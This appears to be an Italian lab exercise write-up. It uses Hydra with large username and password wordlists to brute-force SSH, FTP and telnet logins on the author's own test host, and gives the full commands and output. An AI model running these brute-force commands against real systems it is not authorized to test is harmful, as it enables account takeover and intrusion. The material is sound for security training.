

Parte 1.

Creiamo l'utente in locale, **testuser** con password **testpass**

Lanciamo il comando

```
hydra -L /usr/share/seclists/Username/xato-net-10-million-usernames.txt  
-P /usr/share/seclists/Password/xato-net-10-million-passwords.txt  
192.168.1.101
```

dove i due file sono dei file contenenti test e password più comuni. Hydra ci metterà un po' a trovare la combinazione con il bruteforce:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-09 12:04:10  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 43048882131570 login tries (l:8295455/p:5189454), ~10762220532893 tries per task  
[DATA] attacking ssh://192.168.1.101:22/  
[STATUS] 36.00 tries/min, 36 tries in 00:01h, 43048882131534 to do in 19930038023:52h, 4 active  
[STATUS] 28.00 tries/min, 84 tries in 00:03h, 43048882131486 to do in 25624334602:05h, 4 active  
[STATUS] 26.29 tries/min, 184 tries in 00:07h, 43048882131386 to do in 27295486858:41h, 4 active  
[STATUS] 25.80 tries/min, 387 tries in 00:15h, 43048882131183 to do in 27809355381:55h, 4 active  
[STATUS] 25.84 tries/min, 801 tries in 00:31h, 43048882130769 to do in 27767693426:01h, 4 active  
[STATUS] 25.70 tries/min, 1208 tries in 00:47h, 43048882130362 to do in 27915251933:20h, 4 active  
[STATUS] 25.78 tries/min, 1624 tries in 01:03h, 43048882129946 to do in 27833328963:20h, 4 active  
[STATUS] 25.73 tries/min, 2033 tries in 01:19h, 43048882129537 to do in 27880486048:49h, 4 active  
[STATUS] 25.62 tries/min, 2434 tries in 01:35h, 43048882129136 to do in 28003586704:07h, 4 active  
[STATUS] 25.57 tries/min, 2838 tries in 01:51h, 43048882128732 to do in 28062167701:58h, 4 active  
[STATUS] 25.54 tries/min, 3244 tries in 02:07h, 43048882128326 to do in 28088820542:01h, 4 active  
[STATUS] 1.12 tries/min, 3280 tries in 48:52h, 43048882128290 to do in 641391157177:10h, 4 active
```

La combinazione di user e password è stata trovata:

```
[22][ssh] host: 192.168.1.101 login: testuser password: testpass
```

Parte 2.

lanciamo

```
sudo apt install vsftpd
```

per installare un demone per un server ftp, che avvieremo con

```
sudo service vsftpd start
```

e tentiamo l'attacco con hydra

```
hydra -L /usr/share/seclists/Username/xato-net-10-million-usernames.txt  
-P /usr/share/seclists/Password/xato-net-10-million-passwords.txt  
192.168.1.101 -t4 ftp
```

trovato!

```
[DATA] max 4 tasks per 1 server, overall 4 tasks, 43048882131570 login tries (l:8295455/p:5189454), ~10762220532893 tries per task  
[DATA] attacking ftp://192.168.1.101:21/  
[21][ftp] host: 192.168.1.101 login: testuser password: testpass
```

Alla stessa maniera installiamo il demone per telnet e avviamo il servizio:

```
sudo apt install -y xinetd telnetd
```

modificare il file di configurazione togliendo il commento sotto la riga "STANDARD" ed abilitare il telnet

```
sudo nano /etc/inetd.conf
```

riavviare il servizio

```
/etc/init.d/xinetd restart
```

```
hydra -L /usr/share/seclists/Username/xato-net-10-million-username.txt  
-P /usr/share/seclists/Password/xato-net-10-million-password.txt  
192.168.1.101 -t4 telnet
```

Successo!

```
---(kali@kali)-[~/Desktop]  
--$ hydra -L /usr/share/seclists/Username/xato-net-10-million-username.txt -P /usr/share/seclists/Password/xato-net-10-million-password.txt 192.168.1.101  
-t4 telnet  
hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-  
binding, these ** ignore laws and ethics anyway).  
  
hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-11 14:11:11  
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 43048895616480 login tries (l:8295456/p:5189455), ~10762223904120 tries per task  
[DATA] attacking telnet://192.168.1.101:23/  
[STATUS] 19.00 tries/min, 19 tries in 00:01h, 43048895616461 to do in 37762189137:15h, 4 active  
[STATUS] 6.33 tries/min, 19 tries in 00:03h, 43048895616461 to do in 113286567411:45h, 4 active  
[STATUS] 5.00 tries/min, 35 tries in 00:07h, 43048895616445 to do in 143496318721:30h, 4 active  
[23][telnet] host: 192.168.1.101 login: testuser password: testpass
```